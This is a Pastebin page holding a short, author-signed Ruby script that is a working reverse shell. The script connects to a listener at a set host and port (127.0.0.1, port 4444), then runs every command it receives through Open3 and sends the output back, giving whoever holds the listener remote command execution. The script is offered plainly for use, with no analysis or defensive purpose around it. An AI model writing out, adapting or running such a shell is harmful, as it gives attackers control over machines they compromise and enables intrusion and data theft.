Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ################################
- #Jalal azedine
- #azedinejalal@gmail.com
- #http://w3xw3x.blogspot.com
- ################################
- require 'socket'
- require 'open3'
- include Socket::Constants
- host = "127.0.0.1"
- port = "4444"
- sock = Socket.new(AF_INET, SOCK_STREAM, 0)
- sockaddr = Socket.pack_sockaddr_in(port, host)
- sock.connect(sockaddr)
- sock.send("Connection Established !!\n",0)
- while 1
- data = sock.recv(1024)
- break if data == "quit\n"
- i, out, error, wait_thr = Open3.popen3(data)
- std_out = out.read
- std_err = error.read
- sock.send(std_out, 0)
- sock.send(std_err, 0)
- end #while
- sock.close
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement